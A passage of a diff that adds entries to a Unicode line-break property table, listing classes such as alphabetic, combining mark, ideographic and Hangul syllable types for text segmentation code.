+	LB_Postfix_Numeric,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Prefix_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Close_Parenthesis,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Hyphen,
+	LB_Break_Symbols,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Close_Parenthesis,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Exclamation,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Exclamation,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Numeric,
+	LB_Postfix_Numeric,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Glue,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Glue,
+	LB_Exclamation,
+	LB_Glue,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Glue,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Numeric,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_JL,
+	LB_JV,
+	LB_JT,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Break_After,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Glue,
+	LB_Break_After,
+	LB_ZWSpace,
+	LB_Combining_Mark,
+	LB_ZWJ,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Glue,
+	LB_Break_After,
+	LB_Break_Both,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Open_Punctuation,
+	LB_Quotation,
+	LB_Open_Punctuation,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Inseparable,
+	LB_Break_After,
+	LB_Mandatory_Break,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Word_Joiner,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Inseparable,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Quotation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Open_Punctuation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Break_After,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_Both,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Open_Punctuation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Nonstarter,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Combining_Mark,
+	LB_Ideographic,
+	LB_Combining_Mark,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Exclamation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_JL,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
